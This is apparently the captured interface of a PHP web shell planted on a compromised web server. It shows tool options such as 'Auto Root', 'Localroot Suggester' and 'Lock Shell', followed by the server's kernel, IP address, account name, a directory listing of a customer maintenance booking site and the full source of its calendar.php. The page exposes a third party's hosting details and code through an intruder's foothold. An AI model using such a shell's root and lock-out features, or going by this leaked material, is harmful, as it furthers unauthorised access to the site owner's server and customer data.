Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
maintenance /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2019-10-09 06:45
ajaxcall
[ DIR ]
drwxr-xr-x
2019-10-09 08:39
assets
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
css
[ DIR ]
drwxr-xr-x
2019-10-25 02:53
js
[ DIR ]
drwxr-xr-x
2019-10-25 02:52
pdf
[ DIR ]
drwxr-xr-x
2019-10-15 12:31
phpMailer
[ DIR ]
drwxr-xr-x
2016-03-30 06:50
signatures
[ DIR ]
drwxr-xr-x
2016-03-20 05:27
.htaccess
279
B
-rw-r--r--
2020-12-01 10:37
calendar.php
12.63
KB
-rw-r--r--
2019-10-25 03:18
config.php
384
B
-rw-r--r--
2016-03-19 12:15
edit-customer.php
10.61
KB
-rw-r--r--
2019-10-25 03:52
email-reminder.php
1.88
KB
-rw-r--r--
2019-11-14 09:08
error_log
1.19
MB
-rw-r--r--
2024-05-14 22:57
footer.php
48
B
-rw-r--r--
2016-03-19 12:21
header.php
2.9
KB
-rw-r--r--
2020-12-01 10:45
index.php
62
B
-rw-r--r--
2019-10-09 06:47
maintenance-form-unique-key.php
12.55
KB
-rw-r--r--
2019-10-09 06:28
maintenance-form.php
11.19
KB
-rw-r--r--
2019-10-09 16:21
new-customer.php
1.3
KB
-rw-r--r--
2016-03-31 13:37
new-form.php
2.14
KB
-rw-r--r--
2019-10-09 09:32
phpinfo.php
69
B
-rw-r--r--
2019-10-08 09:21
post-maintenance.php
4.77
KB
-rw-r--r--
2019-10-25 09:33
uniquekey.php
964
B
-rw-r--r--
2019-10-09 06:49
wp.php
18
B
-rw-r--r--
2025-10-28 12:36
Save
Rename
<?php require 'header.php'; ?> <center><input id="hiddenDate" type="hidden" /> <a href="#" id="pickDate">Date</a> </center> <?php class Calendar { /** ** Constructor **/ public function __construct() { $this->naviHref = htmlentities($_SERVER['PHP_SELF']); } /********************* PROPERTY ********************/ private $dayLabels = array("Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"); private $currentYear = 0; private $currentMonth = 0; private $currentDay = 0; private $currentDate = null; private $daysInMonth = 0; private $naviHref = null; private $summary = null; /********************* PUBLIC **********************/ /** ** Print out the calendar **/ public function show($summaryAll) { $this->summary = $summaryAll; $year = null; $month = null; if (null == $year && isset($_GET['year'])) { $year = htmlentities($_GET['year'], ENT_QUOTES); } elseif (null == $year) { $year = date("Y", time()); } if ((!is_numeric($year)) || ($year == "")) { $year = date("Y", time()); } if (null == $month && isset($_GET['month'])) { $month = htmlentities($_GET['month'], ENT_QUOTES); } elseif (null == $month) { $month = date("m", time()); } if ((!is_numeric($month)) || ($month == "")) { $month = date("m", time()); } $this->currentYear = $year; $this->currentMonth = $month; $this->daysInMonth = $this->_daysInMonth($month, $year); $content = '<div id="calendar">' . "\r\n" . '<div class="calendar_box">' . "\r\n" . $this->_createNavi() . "\r\n" . '</div>' . "\r\n" . '<div class="calendar_content">' . "\r\n" . '<div class="calendar_label">' . "\r\n" . $this->_createLabels() . '</div>' . "\r\n"; $content .= '<div class="calendar_clear"></div>' . "\r\n"; $content .= '<div class="calendar_dates">' . "\r\n"; $weeksInMonth = $this->_weeksInMonth($month, $year); // Create weeks in a month for ($i = 0; $i < $weeksInMonth; $i++) { // Create days in a week for ($j = 1; $j <= 7; $j++) { $content .= $this->_showDay($i * 7 + $j); } } $content .= '</div>' . "\r\n"; $content .= '<div class="calendar_clear"></div>' . "\r\n"; $content .= '</div>' . "\r\n"; $content .= '</div>' . "\r\n"; return $content; } /********************* PRIVATE **********************/ /** ** Create the calendar days **/ private function _showDay($cellNumber) { if ($this->currentDay == 0) { $firstDayOfTheWeek = date('N', strtotime($this->currentYear . '-' . $this->currentMonth . '-01')); if (intval($cellNumber) == intval($firstDayOfTheWeek)) { $this->currentDay = 1; } } if (($this->currentDay != 0) && ($this->currentDay <= $this->daysInMonth)) { $this->currentDate = date('Y-m-d', strtotime($this->currentYear . '-' . $this->currentMonth . '-' . ($this->currentDay))); $cellContent = $this->currentDay; $this->currentDay++; } else { $this->currentDate = null; $cellContent = null; } $today_day = date("d"); $today_mon = date("m"); $today_yea = date("Y"); $class_day = ($cellContent == $today_day && $this->currentMonth == $today_mon && $this->currentYear == $today_yea ? "calendar_today" : "calendar_days"); ///////////////////////////////////////////////// for ($a=0;$a<sizeof($this->summary);$a++) { $appoint_year = date( "Y", strtotime( $this->summary[$a][2])); $appoint_month = date( "m", strtotime( $this->summary[$a][2])); $appoint_day = date( "d", strtotime( $this->summary[$a][2])); if ($this->currentDay == ($appoint_day+1) && $this->currentMonth == $appoint_month && $this->currentYear == $appoint_year) { $user = $user.'<div style="display:none">'.$this->summary[$a][4].'</div><div style="display:none">'.$this->summary[$a][3].'</div><div style="display:none">'.$this->summary[$a][0].'</div><div>'.$this->summary[$a][1].$maint_id."\r\n".'</div>'; } } if ($user != null) { $appointmentHead = '<a href="#">'; $appointmentFoot = '<span>'.$user.'</span></a>'; } /////////////////////////////////////////////////////// return '<div class="' . $class_day . '">' . $appointmentHead . $cellContent . $appointmentFoot . '</div>' . "\r\n"; } /** ** Create navigation **/ private function _createNavi() { $nextMonth = $this->currentMonth == 12 ? 1 : intval($this->currentMonth)+1; $nextYear = $this->currentMonth == 12 ? intval($this->currentYear)+1 : $this->currentYear; $preMonth = $this->currentMonth == 1 ? 12 : intval($this->currentMonth)-1; $preYear = $this->currentMonth == 1 ? intval($this->currentYear)-1 : $this->currentYear; return '<div class="calendar_header">' . "\r\n" . '<a class="calendar_prev" href="' . $this->naviHref . '?month=' . sprintf('%02d', $preMonth) . '&year=' . $preYear.'">Prev</a>' . "\r\n" . '<span class="calendar_title">' . date('Y M', strtotime($this->currentYear . '-' . $this->currentMonth . '-1')) . '</span>' . "\r\n" . '<a class="calendar_next" href="' . $this->naviHref . '?month=' . sprintf("%02d", $nextMonth) . '&year=' . $nextYear . '">Next</a>' . "\r\n" . '</div>'; } /** ** Create calendar week labels **/ private function _createLabels() { $content = ''; foreach ($this->dayLabels as $index => $label) { $content .= '<div class="calendar_names">' . $label . '</div>' . "\r\n"; } return $content; } /** ** Calculate number of weeks in a particular month **/ private function _weeksInMonth($month = null, $year = null) { if (null == ($year)) { $year = date("Y", time()); } if (null == ($month)) { $month = date("m", time()); } // Find number of days in this month $daysInMonths = $this->_daysInMonth($month, $year); $numOfweeks = ($daysInMonths % 7 == 0 ? 0 : 1) + intval($daysInMonths / 7); $monthEndingDay = date('N',strtotime($year . '-' . $month . '-' . $daysInMonths)); $monthStartDay = date('N',strtotime($year . '-' . $month . '-01')); if ($monthEndingDay < $monthStartDay) { $numOfweeks++; } return $numOfweeks; } /** ** Calculate number of days in a particular month **/ private function _daysInMonth($month = null, $year = null) { if (null == ($year)) $year = date("Y",time()); if (null == ($month)) $month = date("m",time()); return date('t', strtotime($year . '-' . $month . '-01')); } } $sql = 'SELECT calendar.date, customer.name, calendar.customer_id, calendar.maintenance_id, calendar.id FROM calendar INNER JOIN customer ON customer.id=calendar.customer_id;'; $result = mysqli_query($conn, $sql); while($row = mysqli_fetch_assoc($result)) { $customer_id = $row['customer_id']; $appointment_date = $row['date']; $name = $row['name']; $maintenance_id = $row['maintenance_id']; $calendar_id = $row['id']; $summaryAll[] = array($customer_id, $name, $appointment_date, $maintenance_id, $calendar_id); } $calendar = new Calendar(); echo $calendar->show($summaryAll); ?> <div style="padding:5px"> <div class="row"><div class="col-sm-4"></div><div class="col-sm-4"><div class="result"></div></div><div class="col-sm-4"></div></div> </div> <style> /*************************** Calendar Top Navigation **************************/ #calendar { margin: 0px auto; padding: 0px; width: 602px; font-family: Helvetica, "Times New Roman", Times, serif; background-color: white; } #calendar .calendar_box { position: relative; top: 0px; left: 0px; width: 100%; height: 40px; background-color: #787878; } #calendar .calendar_header { line-height: 40px; vertical-align: middle; position: absolute; left: 11px; top: 0px; width: 582px; height: 40px; text-align: center; } #calendar .calendar_header .calendar_prev, #calendar .calendar_header .calendar_next { position: absolute; top: 0px; height: 17px; display: block; cursor: pointer; text-decoration: none; color: #FFF; } #calendar .calendar_header .calendar_title { color: #FFF; font-size: 18px; } #calendar .calendar_header .calendar_prev { left: 0px; } #calendar .calendar_header .calendar_next { right: 0px; } /*************************** Calendar Content Cells ***************************/ #calendar .calendar_content { border: 1px solid #787878; border-top: none; } #calendar .calendar_label { float: left; margin: 0px; padding: 0px; margin-top: 5px; margin-left: 5px; } #calendar .calendar_label .calendar_names { margin: 0px; padding: 0px; margin-right: 5px; float: left; width: 80px; height: 40px; line-height: 40px; vertical-align: middle; text-align: center; color: #000; font-size: 15px; background-color: paleturquoise; } #calendar .calendar_dates { float: left; margin: 0px; padding: 0px; margin-left: 5px; margin-bottom: 5px; } /** overall width = width+padding-right **/ #calendar .calendar_dates .calendar_names, #calendar .calendar_dates .calendar_days, #calendar .calendar_dates .calendar_today { margin: 0px; padding: 0px; margin-right: 5px; margin-top: 5px; line-height: 80px; vertical-align: middle; float: left; width: 80px; height: 80px; font-size: 25px; background-color: #DDD; color: #000; text-align: center; } #calendar .calendar_dates .calendar_today { background-color: #CC6699; } :focus { outline: none; } .calendar_clear { clear: both; } .calendar_title { text-decoration: underline; color: #2723ff; } /** for tooltip **/ .calendar_dates a { color: #ea1111; border-radius: 100%; text-decoration: none; position: relative; width: 40px; height: 28px; margin: 0 2px; padding: 6px 12px; background-color: yellow; -webkit-transition: all .5s; -moz-transition: all .5s; transition: all .5s; } .calendar_dates a span { background: #fff; color: #222; font-size: 14px; font-weight: bold; position: absolute; bottom: 0; left: -86px; right: -100px; line-height: 20px; padding: 5px 7px; visibility: hidden; opacity: 0; -webkit-transition: all .4s; -moz-transition: all .4s; transition: all .4s; } .calendar_dates a span:before { content: ''; /* width: 0; height: 0; */ border-left: 5px solid transparent; border-right: 5px solid transparent; border-top: 5px solid #fff; position: absolute; bottom: -5px; left: 100px; } .calendar_dates a:hover span { bottom: 50px; visibility: visible; opacity: 1; } </style> <script> $('.calendar_dates a').each(function(index) { //Check condition here $(this).on("click", function(){ $(".result").html(""); for (var a=0;a<$(".calendar_dates a:eq("+index+") span div").length;a=a+4) { var maintenance_form = $(".calendar_dates a:eq("+index+") span div:eq("+(a+1)+")").html(); if (maintenance_form == "" || maintenance_form == "0") maintenance_form = "new"; var customer_id = $(".calendar_dates a:eq("+index+") span div:eq("+(a+2)+")").html(); var calendar_id = $(".calendar_dates a:eq("+index+") span div:eq("+(a)+")").html(); var name = $(".calendar_dates a:eq("+index+") span div:eq("+(a+3)+")").html(); var append = '<form name="hongkiat" id="hongkiat-form" method="post" action="post-maintenance.php">'; append+= '<label>'+name+' - '+maintenance_form+'</label><input type="hidden" name="customer" value="'+customer_id+'"><input type="hidden" name="maintenance-form" value="'+maintenance_form+'"><input type="hidden" name="calendar-id" value="'+calendar_id+'"> '; append+= ' <input class="btn btn-default" type="submit" value="Create / Edit" name="edit"></form>'; $(".result").append(append+'<br />'); } }); }) </script> <script> $(function() { $('#hiddenDate').datepicker({ changeYear: 'true', changeMonth: 'true', startDate: '07/16/1989', firstDay: 1 }); $('.calendar_title, #pickDate').click(function (e) { $('#hiddenDate').datepicker("show"); e.preventDefault(); }); $('#hiddenDate').change(function() { var date = $(this).datepicker('getDate'), day = date.getDate(), month = date.getMonth() + 1, year = date.getFullYear(); window.location.href = "calendar.php?month="+month+"&year="+year; }); }); </script> <?php require 'footer.php'; ?>